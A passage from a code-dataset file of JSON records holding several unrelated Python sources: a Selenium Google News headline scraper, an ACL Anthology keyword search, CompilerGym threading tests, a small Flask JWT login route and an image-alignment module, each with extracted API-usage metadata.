"line_number": 113, "usage_type": "argument"}, {"api_name": "openmc.capi", "line_number": 116, "usage_type": "attribute"}, {"api_name": "openmc.capi.load_nuclide", "line_number": 121, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 121, "usage_type": "attribute"}, {"api_name": "pytest.raises", "line_number": 122, "usage_type": "call"}, {"api_name": "openmc.exceptions.DataError", "line_number": 122, "usage_type": "attribute"}, {"api_name": "openmc.exceptions", "line_number": 122, "usage_type": "name"}, {"api_name": "openmc.capi.load_nuclide", "line_number": 123, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 123, "usage_type": "attribute"}, {"api_name": "openmc.capi", "line_number": 127, "usage_type": "attribute"}, {"api_name": "openmc.capi", "line_number": 142, "usage_type": "attribute"}, {"api_name": "collections.abc.Mapping", "line_number": 143, "usage_type": "argument"}, {"api_name": "openmc.capi", "line_number": 146, "usage_type": "attribute"}, {"api_name": "openmc.capi", "line_number": 151, "usage_type": "attribute"}, {"api_name": "openmc.capi", "line_number": 154, "usage_type": "attribute"}, {"api_name": "openmc.capi", "line_number": 155, "usage_type": "attribute"}, {"api_name": "pytest.raises", "line_number": 158, "usage_type": "call"}, {"api_name": "openmc.exceptions.AllocationError", "line_number": 158, "usage_type": "attribute"}, {"api_name": "openmc.exceptions", "line_number": 158, "usage_type": "name"}, {"api_name": "openmc.capi.MaterialFilter", "line_number": 159, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 159, "usage_type": "attribute"}, {"api_name": "openmc.capi", "line_number": 160, "usage_type": "attribute"}, {"api_name": "openmc.capi.MaterialFilter", "line_number": 161, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 161, "usage_type": "attribute"}, {"api_name": "pytest.raises", "line_number": 166, "usage_type": "call"}, {"api_name": "openmc.exceptions.DataError", "line_number": 166, "usage_type": "attribute"}, {"api_name": "openmc.exceptions", "line_number": 166, "usage_type": "name"}, {"api_name": "openmc.capi", "line_number": 180, "usage_type": "attribute"}, {"api_name": "openmc.capi", "line_number": 183, "usage_type": "attribute"}, {"api_name": "openmc.capi", "line_number": 184, "usage_type": "attribute"}, {"api_name": "pytest.raises", "line_number": 190, "usage_type": "call"}, {"api_name": "openmc.exceptions.AllocationError", "line_number": 190, "usage_type": "attribute"}, {"api_name": "openmc.exceptions", "line_number": 190, "usage_type": "name"}, {"api_name": "openmc.capi.Material", "line_number": 191, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 191, "usage_type": "attribute"}, {"api_name": "openmc.capi.Tally", "line_number": 192, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 192, "usage_type": "attribute"}, {"api_name": "openmc.capi.Tally", "line_number": 194, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 194, "usage_type": "attribute"}, {"api_name": "openmc.capi", "line_number": 196, "usage_type": "attribute"}, {"api_name": "openmc.capi", "line_number": 200, "usage_type": "attribute"}, {"api_name": "numpy.all", "line_number": 202, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 204, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 205, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 207, "usage_type": "attribute"}, {"api_name": "openmc.capi.num_realizations", "line_number": 213, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 213, "usage_type": "attribute"}, {"api_name": "openmc.capi.global_tallies", "line_number": 214, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 214, "usage_type": "attribute"}, {"api_name": "openmc.capi.statepoint_write", "line_number": 220, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 220, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 221, "usage_type": "call"}, {"api_name": "os.path", "line_number": 221, "usage_type": "attribute"}, {"api_name": "openmc.capi.source_bank", "line_number": 225, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 225, "usage_type": "attribute"}, {"api_name": "numpy.all", "line_number": 226, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 227, "usage_type": "call"}, {"api_name": "openmc.capi.hard_reset", "line_number": 231, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 231, "usage_type": "attribute"}, {"api_name": "pytest.raises", "line_number": 235, "usage_type": "call"}, {"api_name": "openmc.exceptions.AllocationError", "line_number": 235, "usage_type": "attribute"}, {"api_name": "openmc.exceptions", "line_number": 235, "usage_type": "name"}, {"api_name": "openmc.capi.next_batch", "line_number": 236, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 236, "usage_type": "attribute"}, {"api_name": "openmc.capi.simulation_init", "line_number": 238, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 238, "usage_type": "attribute"}, {"api_name": "openmc.capi.iter_batches", "line_number": 239, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 239, "usage_type": "attribute"}, {"api_name": "openmc.capi.keff", "line_number": 241, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 241, "usage_type": "attribute"}, {"api_name": "openmc.capi.num_realizations", "line_number": 244, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 244, "usage_type": "attribute"}, {"api_name": "openmc.capi.next_batch", "line_number": 247, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 247, "usage_type": "attribute"}, {"api_name": "openmc.capi.num_realizations", "line_number": 248, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 248, "usage_type": "attribute"}, {"api_name": "openmc.capi.simulation_finalize", "line_number": 249, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 249, "usage_type": "attribute"}, {"api_name": "openmc.capi.hard_reset", "line_number": 254, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 254, "usage_type": "attribute"}, {"api_name": "openmc.capi.run", "line_number": 255, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 255, "usage_type": "attribute"}, {"api_name": "openmc.capi.keff", "line_number": 256, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 256, "usage_type": "attribute"}, {"api_name": "openmc.capi.hard_reset", "line_number": 259, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 259, "usage_type": "attribute"}, {"api_name": "openmc.capi.run", "line_number": 260, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 260, "usage_type": "attribute"}, {"api_name": "openmc.capi.keff", "line_number": 261, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 261, "usage_type": "attribute"}, {"api_name": "pytest.approx", "line_number": 262, "usage_type": "call"}, {"api_name": "openmc.capi.find_cell", "line_number": 266, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 266, "usage_type": "attribute"}, {"api_name": "openmc.capi", "line_number": 267, "usage_type": "attribute"}, {"api_name": "openmc.capi.find_cell", "line_number": 268, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 268, "usage_type": "attribute"}, {"api_name": "openmc.capi", "line_number": 269, "usage_type": "attribute"}, {"api_name": "pytest.raises", "line_number": 270, "usage_type": "call"}, {"api_name": "openmc.exceptions.GeometryError", "line_number": 270, "usage_type": "attribute"}, {"api_name": "openmc.exceptions", "line_number": 270, "usage_type": "name"}, {"api_name": "openmc.capi.find_cell", "line_number": 271, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 271, "usage_type": "attribute"}, {"api_name": "openmc.capi.find_material", "line_number": 275, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 275, "usage_type": "attribute"}, {"api_name": "openmc.capi", "line_number": 276, "usage_type": "attribute"}, {"api_name": "openmc.capi.find_material", "line_number": 277, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 277, "usage_type": "attribute"}, {"api_name": "openmc.capi", "line_number": 278, "usage_type": "attribute"}, {"api_name": "openmc.capi.Mesh", "line_number": 282, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 282, "usage_type": "attribute"}, {"api_name": "pytest.raises", "line_number": 285, "usage_type": "call"}, {"api_name": "openmc.exceptions.AllocationError", "line_number": 285, "usage_type": "attribute"}, {"api_name": "openmc.exceptions", "line_number": 285, "usage_type": "name"}, {"api_name": "openmc.capi.Mesh", "line_number": 286, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 286, "usage_type": "attribute"}, {"api_name": "pytest.approx", "line_number": 293, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 294, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 296, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 297, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 299, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 300, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 302, "usage_type": "attribute"}, {"api_name": "collections.abc.Mapping", "line_number": 303, "usage_type": "argument"}, {"api_name": "openmc.capi", "line_number": 306, "usage_type": "attribute"}, {"api_name": "openmc.capi.MeshFilter", "line_number": 309, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 309, "usage_type": "attribute"}, {"api_name": "openmc.capi.MeshSurfaceFilter", "line_number": 312, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 312, "usage_type": "attribute"}]}
{"seq_id": "43621585488", "text": "from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nimport time, sys, datetime\n\ndef fetchHeadlines(driver):\n    for i in range(2):\n        html = driver.find_element_by_tag_name('html')\n        html.send_keys(Keys.END)\n        time.sleep(2)\n    news = []\n    for i in range(3, 30):\n        try:\n            xpath = \"/html/body/c-wiz/div/div[2]/div[2]/div/main/c-wiz/div[1]/div[\"+str(i)+\"]/div/div/article/h3/a\"\n            text = driver.find_element(By.XPATH, xpath).text\n            news.append(text)\n        except Exception as e:\n            i+=1\n    if news == []:\n        return \"No results to show\"\n    return news \n\ndef searchNews(driver, searchQuery):\n    news = []\n    searchBar = driver.find_element_by_xpath(\"/html/body/div[4]/header/div[2]/div[2]/div/form/div[1]/div/div/div/div/div[1]/input[2]\")\n    searchBar.send_keys(searchQuery)\n    searchBar.send_keys(Keys.ENTER)\n    time.sleep(1)\n    for i in range(2):\n        html = driver.find_element_by_tag_name('html')\n        html.send_keys(Keys.END)\n        time.sleep(2)\n    heading = \"Search Results for '\", searchQuery, \"'...\"\n    news.append(heading)\n    for i in range(1, 30):\n        try:\n            xpath = \"/html/body/c-wiz[2]/div/div[2]/div[2]/div/main/c-wiz/div[1]/div[\"+str(i)+\"]/div/article/h3/a\"\n            text = driver.find_element(By.XPATH, xpath).text\n            news.append(text)\n        except Exception as e:\n            i+=1\n    if news==[]:\n        return \"No results to show\" \n    return news \n\ndef display(news):\n    f = open(\"newsdump.txt\", \"w\")\n    now = datetime.datetime.now()\n    today = now.strftime(\"%d,%B,%Y\")\n    f.writelines(today)\n    f.writelines(\"\\n\")\n    temp = driver.find_element_by_xpath(\"/html/body/c-wiz/div/div[2]/div[2]/div/aside/c-wiz/div/div[1]/div/div[2]/div[1]/div[1]/span\").text \n    f.writelines(temp)\n    f.writelines(\"\\n\\n\")\n    if news == \"No results to show\":\n        return news \n    for i in news:\n        f.writelines(i)\n        f.writelines(\"\\n\\n\")\n    f.close()\n\ntry:\n    searchQuery = sys.argv[1]\nexcept Exception as e:\n    searchQuery = \"\"\n\ndriver = webdriver.Firefox()\npath = \"https://news.google.com/topstories?hl=en-IN&gl=IN&ceid=IN:en\"\ndriver.get(path)\ntime.sleep(1)\n\nif searchQuery==\"\":\n    news = fetchHeadlines(driver)\nelse:\n    news = searchNews(driver, searchQuery)\ndisplay(news)\n\ndriver.quit()", "repo_name": "Rajdeep2121/Google-News-Bot", "sub_path": "newsBot.py", "file_name": "newsBot.py", "file_ext": "py", "file_size_in_byte": 2400, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "selenium.webdriver.common.keys.Keys.END", "line_number": 9, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.keys.Keys", "line_number": 9, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 10, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 15, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 15, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.keys.Keys.ENTER", "line_number": 27, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.keys.Keys", "line_number": 27, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 28, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.keys.Keys.END", "line_number": 31, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.keys.Keys", "line_number": 31, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 32, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 38, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 38, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 48, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 48, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 63, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.Firefox", "line_number": 67, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 67, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 70, "usage_type": "call"}]}
{"seq_id": "19017906555", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n@author: Gayatri Venugopal\n\"\"\"\n\n#TODO: extract and pass year, month, country, source, publisher\nimport os\n\nimport xml.etree.ElementTree as ET\n\nfrom paper import Paper\n\ndef iterate(keys, node, year, month, country, publisher, source, out_path):\n    \"\"\"\n    Iterate through the elements and store the details in the instance of Paper.\n    \"\"\"\n    if node is None:\n        return\n    if len(node.findall(\"paper\")) == 0:\n        #iterate through child nodes to search for the paper element\n         for child in node:\n             iterate(keys, child, year, month, country, publisher, source, out_path)\n    else:\n        for paper in node.findall(\"paper\"):\n            if paper.find(\"title\") is not None and paper.find(\"title\").find(\"fixed-case\") is not None:\n                #recreate the title by extracting values from title and fixed-case\n                xmlstr = (ET.tostring(paper.find(\"title\"), encoding='utf8', method='xml')).decode(\"utf-8\")\n                xmlstr = xmlstr.replace(\"<fixed-case>\", \"\")\n                xmlstr = xmlstr.replace(\"</fixed-case>\", \"\")\n                title = xmlstr[xmlstr.find(\"<title>\")+7:xmlstr.find(\"</title>\")]\n            else:\n                title = paper.find(\"title\").text\n            #search for each keyword\n            for key in keys:\n                     if title is not None and title.find(key) != -1 or (paper.find(\"abstract\") is not None and paper.find(\"abstract\").text is not None and (paper.find(\"abstract\").text).find(key) != -1):\n                         #if keyword is found, store the paper details\n                         if paper.findall(\"author\") is not None:\n                             auth_list = []\n                             for child in paper.findall(\"author\"):\n                                 auth_list.append(child.find(\"first\").text + \" \" + child.find(\"last\").text)\n                         paper_object =  Paper()\n                         paper_object.save(year, month, title, auth_list, country, source, publisher)\n                         paper_object.write(out_path)\n                         #once the paper details have been saved for a key, continue to the next paper\n                         break\n    \ndef parse(file, keys, out_path):\n    \"\"\"\n    Extract the details of the journal/conference/workshop.\n    Args:\n        file (str): path to the data file\n        keys (list): list of keywords to be used as filter\n        out_path (str): path to the file in which the details should be stored\n    \"\"\"\n    tree = ET.parse(file)\n    root = tree.getroot()\n    year = publisher = month = country = None\n    source = \"journal\"\n    conf_identifiers = [\"findings of the association for computational linguistics\", \n                        \"coling\", \"proceedings\", \"conference\", \"meeting\", \n                        \"conférence\", \"workshop\"]\n    \n    year = root.find(\".//year\")\n    if year is not None and year.text is not None:\n        year = year.text.strip()\n    publisher = root.find(\".//publisher\")\n    if publisher is not None and publisher.text is not None:\n        publisher = publisher.text.strip()\n    month = root.find(\".//month\")\n    if month is not None and month.text is not None:\n        month = month.text.strip().split()[0]\n    country = root.find(\".//address\")\n    if country is not None and country.text is not None:\n        country = country.text.strip().split()[-1]\n    source = root.find(\".//booktitle\")\n    if source is not None and source.text is not None:\n        source = source.text.strip().lower()\n        for identifier in conf_identifiers:\n            if source.find(identifier) != -1:\n                source = \"conference/workshop\"\n    iterate(keys, root, year, month, country, publisher, source, out_path)\n\ndef search_by_keyword(location, keys, out_path):\n    \"\"\"\n    Search for the keywords in each file in the data directory and store the details.\n    Args:\n        location (str): path to the data directory\n        keys (list): list of keywords to be used as filter\n        out_path (str): path to the file in which the details should be stored\n    \"\"\"\n    for file in sorted(os.listdir(location)):\n        parse(path + file, keywords, out_path)\n        \npath = \"acl-anthology/data/xml/\"\nout_path = \"acl-anthology/out.csv\"\nkeywords = [\"lexical simplification\", \"complex word identification\", \n            \"lexical complexity prediction\", \"lexical complexity\", \"complex word\",\n            \"text simplification\"]\n\nsearch_by_keyword(path, keywords, out_path)", "repo_name": "gayatrivenugopal/acl-anthology-browser", "sub_path": "browse.py", "file_name": "browse.py", "file_ext": "py", "file_size_in_byte": 4516, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "paper.find", "line_number": 26, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.tostring", "line_number": 28, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 28, "usage_type": "name"}, {"api_name": "paper.find", "line_number": 28, "usage_type": "call"}, {"api_name": "paper.find", "line_number": 33, "usage_type": "call"}, {"api_name": "paper.find", "line_number": 36, "usage_type": "call"}, {"api_name": "paper.findall", "line_number": 38, "usage_type": "call"}, {"api_name": "paper.findall", "line_number": 40, "usage_type": "call"}, {"api_name": "paper.Paper", "line_number": 42, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.parse", "line_number": 56, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 56, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 92, "usage_type": "call"}]}
{"seq_id": "1058196941", "text": "from threading import Thread\nfrom typing import List\n\nimport gym\nfrom flaky import flaky\n\nfrom compiler_gym import CompilerEnv\nfrom compiler_gym.util.gym_type_hints import ActionType\nfrom tests.test_main import main\n\n\nclass ThreadedWorker(Thread):\n    \"\"\"Create an environment and run through a set of actions in a background thread.\"\"\"\n\n    def __init__(self, env_name: str, benchmark: str, actions: List[ActionType]):\n        super().__init__()\n        self.done = False\n        self.env_name = env_name\n        self.benchmark = benchmark\n        self.actions = actions\n        assert actions\n\n    def run(self) -> None:\n        with gym.make(self.env_name, benchmark=self.benchmark) as env:\n            env.reset()\n\n            for action in self.actions:\n                self.observation, self.reward, done, self.info = env.step(action)\n                assert not done, self.info[\"error_details\"]\n\n            self.done = True\n\n\nclass ThreadedWorkerWithEnv(Thread):\n    \"\"\"Create an environment and run through a set of actions in a background thread.\"\"\"\n\n    def __init__(self, env: CompilerEnv, actions: List[ActionType]):\n        super().__init__()\n        self.done = False\n        self.env = env\n        self.actions = actions\n        assert actions\n\n    def run(self) -> None:\n        for action in self.actions:\n            self.observation, self.reward, done, self.info = self.env.step(action)\n            assert not done, self.info[\"error_details\"]\n\n        self.done = True\n\n\n@flaky  # Timeout may be exceeded if the environment is slow to start.\ndef test_running_environment_in_background_thread():\n    \"\"\"Test launching and running an LLVM environment in a background thread.\"\"\"\n    thread = ThreadedWorker(\n        env_name=\"llvm-autophase-ic-v0\",\n        benchmark=\"cbench-v1/crc32\",\n        actions=[0, 0, 0],\n    )\n    thread.start()\n    thread.join(timeout=10)\n\n    assert thread.done\n    assert thread.observation is not None\n    assert isinstance(thread.reward, float)\n    assert thread.info\n\n\n@flaky  # Timeout may be exceeded if the environment is slow to start.\ndef test_moving_environment_to_background_thread():\n    \"\"\"Test running an LLVM environment from a background thread. The environment\n    is made in the main thread and used in the background thread.\n    \"\"\"\n    with gym.make(\"llvm-autophase-ic-v0\") as env:\n        env.reset(benchmark=\"cbench-v1/crc32\")\n\n        thread = ThreadedWorkerWithEnv(env=env, actions=[0, 0, 0])\n        thread.start()\n        thread.join(timeout=10)\n\n        assert thread.done\n        assert thread.observation is not None\n        assert isinstance(thread.reward, float)\n        assert thread.info\n\n        assert env.in_episode\n\n\nif __name__ == \"__main__\":\n    main()\n", "repo_name": "facebookresearch/CompilerGym", "sub_path": "tests/llvm/threading_test.py", "file_name": "threading_test.py", "file_ext": "py", "file_size_in_byte": 2736, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 821, "dataset": "github-code", "pt": "78", "api": [{"api_name": "threading.Thread", "line_number": 12, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 15, "usage_type": "name"}, {"api_name": "compiler_gym.util.gym_type_hints.ActionType", "line_number": 15, "usage_type": "name"}, {"api_name": "gym.make", "line_number": 24, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 34, "usage_type": "name"}, {"api_name": "compiler_gym.CompilerEnv", "line_number": 37, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 37, "usage_type": "name"}, {"api_name": "compiler_gym.util.gym_type_hints.ActionType", "line_number": 37, "usage_type": "name"}, {"api_name": "flaky.flaky", "line_number": 52, "usage_type": "name"}, {"api_name": "gym.make", "line_number": 74, "usage_type": "call"}, {"api_name": "flaky.flaky", "line_number": 69, "usage_type": "name"}, {"api_name": "tests.test_main.main", "line_number": 90, "usage_type": "call"}]}
{"seq_id": "5868923059", "text": "#!/usr/bin/python3\n\nfrom flask import request,Response,Blueprint,redirect\nfrom flask_login import login_user\nimport MySQLdb\nimport jwt\nfrom User import *\n\nappUserLogin = Blueprint('userlogin',__name__)\n\n@appUserLogin.route('/login')\ndef appLoginUser():\n\n\tuserToken = request.headers.get(\"Authorization\")\n\n\tif userToken == None:\n\t\treturn redirect(\"/\")\n\n\tf = open('server.conf','r')\n\tkey = f.readline()\n\n\ttry:\n\t\tuserAcc = jwt.encode(userToken,key)\n\texcept jwt.ExpiredSignatureError:\n\t\treturn redirect(\"/\")\n\texcept jwt.InvalidSignatureError:\n\t\treturn redirect(\"/\")\n\n\trememberMe = request.form.get(\"remember_me\")\n\n\tuser = User.get(userAcc['sub'])\n\n\tif rememberMe == \"true\":\n\t\tlogin_user(user,remember=True)\n\telse:\n\t\tlogin_user(user)\n\n\t#return redirect(\"/chat\")\n\tresponse = {}\n\tresponse[\"redirect\"] = \"/chat\"\n\treturn Response(json.dumps(response),mimetype=\"application/json\")\n", "repo_name": "MihMihai/Links", "sub_path": "api/loginuser.py", "file_name": "loginuser.py", "file_ext": "py", "file_size_in_byte": 871, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask.Blueprint", "line_number": 9, "usage_type": "call"}, {"api_name": "flask.request.headers.get", "line_number": 14, "usage_type": "call"}, {"api_name": "flask.request.headers", "line_number": 14, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 14, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 17, "usage_type": "call"}, {"api_name": "jwt.encode", "line_number": 23, "usage_type": "call"}, {"api_name": "jwt.ExpiredSignatureError", "line_number": 24, "usage_type": "attribute"}, {"api_name": "flask.redirect", "line_number": 25, "usage_type": "call"}, {"api_name": "jwt.InvalidSignatureError", "line_number": 26, "usage_type": "attribute"}, {"api_name": "flask.redirect", "line_number": 27, "usage_type": "call"}, {"api_name": "flask.request.form.get", "line_number": 29, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 29, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 29, "usage_type": "name"}, {"api_name": "User.get", "line_number": 31, "usage_type": "call"}, {"api_name": "flask_login.login_user", "line_number": 34, "usage_type": "call"}, {"api_name": "flask_login.login_user", "line_number": 36, "usage_type": "call"}, {"api_name": "flask.Response", "line_number": 41, "usage_type": "call"}]}
{"seq_id": "35734188076", "text": "#from rh_renderer import models\n#from rh_aligner.common import ransac\nimport sys\nimport os\nimport glob\nimport yaml\nimport cv2\nimport h5py\nimport numpy as np\nfrom rh_logger.api import logger\nimport logging\nimport rh_logger\nimport time\nfrom detector import FeaturesDetector\nfrom matcher import FeaturesMatcher\nimport multiprocessing as mp\n\nclass StackAligner(object):\n\n    def __init__(self, conf, processes_num=1):\n        self._conf = conf\n\n        # Initialize the detector, amtcher and optimizer objects\n        detector_params = conf.get('detector_params', {})\n        matcher_params = conf.get('matcher_params', {})\n        self._detector = FeaturesDetector(conf['detector_type'], **detector_params)\n        self._matcher = FeaturesMatcher(self._detector, **matcher_params)\n\n        self._processes_num = processes_num\n\n\n\n    @staticmethod\n    def read_imgs(folder):\n        img_fnames = sorted(glob.glob(os.path.join(folder, '*')))\n        print(\"Loading {} images from {}.\".format(len(img_fnames), folder))\n        imgs = [cv2.imread(img_fname, 0) for img_fname in img_fnames]\n        return img_fnames, imgs\n\n\n    @staticmethod\n    def load_conf_from_file(conf_fname):\n        '''\n        Loads a given configuration file from a yaml file\n        '''\n        print(\"Using config file: {}.\".format(conf_fname))\n        with open(conf_fname, 'r') as stream:\n            conf = yaml.load(stream)\n        return conf\n\n\n    @staticmethod\n    def _compute_l2_distance(pts1, pts2):\n        delta = pts1 - pts2\n        s = np.sum(delta**2, axis=1)\n        return np.sqrt(s)\n\n    @staticmethod\n    def _compute_features(detector, img, i):\n        result = detector.detect(img)\n        logger.report_event(\"Img {}, found {} features.\".format(i, len(result[0])), log_level=logging.INFO)\n        return result\n\n    @staticmethod\n    def _match_features(features_result1, features_result2, i, j):\n        transform_model, filtered_matches = self._matcher.match_and_filter(features_result1[0], features_result1[1], features_result2[0], features_result2[1])\n        assert(transform_model is not None)\n        transform_matrix = transform_model.get_matrix()\n        logger.report_event(\"Imgs {} -> {}, found the following transformations\\n{}\\nAnd the average displacement: {} px\".format(i, j, transform_matrix, np.mean(StackAligner._compute_l2_distance(transform_model.apply(filtered_matches[1]), filtered_matches[0]))), log_level=logging.INFO)\n        return transform_matrix\n \n\n    def align_imgs(self, imgs):\n        '''\n        Receives a stack of images to align and aligns that stack using the first image as an anchor\n        '''\n\n        #pool = mp.Pool(processes=processes_num)\n\n        # Compute features\n        logger.start_process('align_imgs', 'aligner.py', [len(imgs), self._conf])\n        logger.report_event(\"Computing features...\", log_level=logging.INFO)\n        st_time = time.time()\n        all_features = []\n        pool_results = []\n        for i, img in enumerate(imgs):\n            #res = pool.apply_async(StackAligner._compute_features, (self._detector, img, i))\n            #pool_results.append(res)\n            all_features.append(self._detector.detect(img))\n            logger.report_event(\"Img {}, found {} features.\".format(i, len(all_features[-1][0])), log_level=logging.INFO)\n        for res in pool_results:\n            all_features.append(res.get())\n        logger.report_event(\"Features computation took {} seconds.\".format(time.time() - st_time), log_level=logging.INFO)\n\n        # match features of adjacent images\n        logger.report_event(\"Pair-wise feature mathcing...\", log_level=logging.INFO)\n        st_time = time.time()\n        pairwise_transforms = []\n        for i in range(len(imgs) - 1):\n            transform_model, filtered_matches = self._matcher.match_and_filter(all_features[i + 1][0], all_features[i+1][1], all_features[i][0], all_features[i][1])\n            assert(transform_model is not None)\n            transform_matrix = transform_model.get_matrix()\n            pairwise_transforms.append(transform_matrix)\n            logger.report_event(\"Imgs {} -> {}, found the following transformations\\n{}\\nAnd the average displacement: {} px\".format(i, i+1, transform_matrix, np.mean(StackAligner._compute_l2_distance(transform_model.apply(filtered_matches[1]), filtered_matches[0]))), log_level=logging.INFO)\n        logger.report_event(\"Feature matching took {} seconds.\".format(time.time() - st_time), log_level=logging.INFO)\n\n        # Compute the per-image transformation (all images will be aligned to the first section)\n        logger.report_event(\"Computing transformations...\", log_level=logging.INFO)\n        st_time = time.time()\n        transforms = []\n        cur_transform = np.eye(3)\n        transforms.append(cur_transform)\n\n        for pair_transform in pairwise_transforms:\n            cur_transform = np.dot(cur_transform, pair_transform)\n            transforms.append(cur_transform)\n        logger.report_event(\"Transformations computation took {} seconds.\".format(time.time() - st_time), log_level=logging.INFO)\n\n        assert(len(imgs) == len(transforms))\n\n        #pool.close()\n        #pool.join()\n\n        logger.end_process('align_imgs ending', rh_logger.ExitCode(0))\n        return transforms\n\n\n\n\n    @staticmethod\n    def align_img_files(imgs_dir, conf, processes_num):\n        # Read the files\n        img_names, imgs = StackAligner.read_imgs(imgs_dir)\n\n        aligner = StackAligner(conf, processes_num)\n        return img_names, imgs, aligner.align_imgs(imgs)\n\n\ndef get_transforms(imgs_dir='gt-4x6x6_image.h5', conf_fname='conf.yaml', processes_num = 8):\n    \n    conf = StackAligner.load_conf_from_file(conf_fname)\n    if imgs_dir.endswith('.h5'):\n        with h5py.File(imgs_dir, \"r\") as fd:\n            imgs = fd[fd.keys()[0]][:].astype(np.uint8)\n\n        img_names = None\n        aligner = StackAligner(conf, processes_num)\n        transforms = aligner.align_imgs(imgs)\n\n    else:\n        img_names, imgs, transforms = StackAligner.align_img_files(imgs_dir, conf, processes_num)\n    return img_names, imgs, np.asarray(transforms)\n\n", "repo_name": "VCG/alignment_and_padding", "sub_path": "aligner.py", "file_name": "aligner.py", "file_ext": "py", "file_size_in_byte": 6113, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "detector.FeaturesDetector", "line_number": 26, "usage_type": "call"}, {"api_name": "matcher.FeaturesMatcher", "line_number": 27, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path", "line_number": 35, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 37, "usage_type": "call"}, {"api_name": "yaml.load", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 56, "usage_type": "call"}, {"api_name": "detector.detect", "line_number": 60, "usage_type": "call"}, {"api_name": "rh_logger.api.logger.report_event", 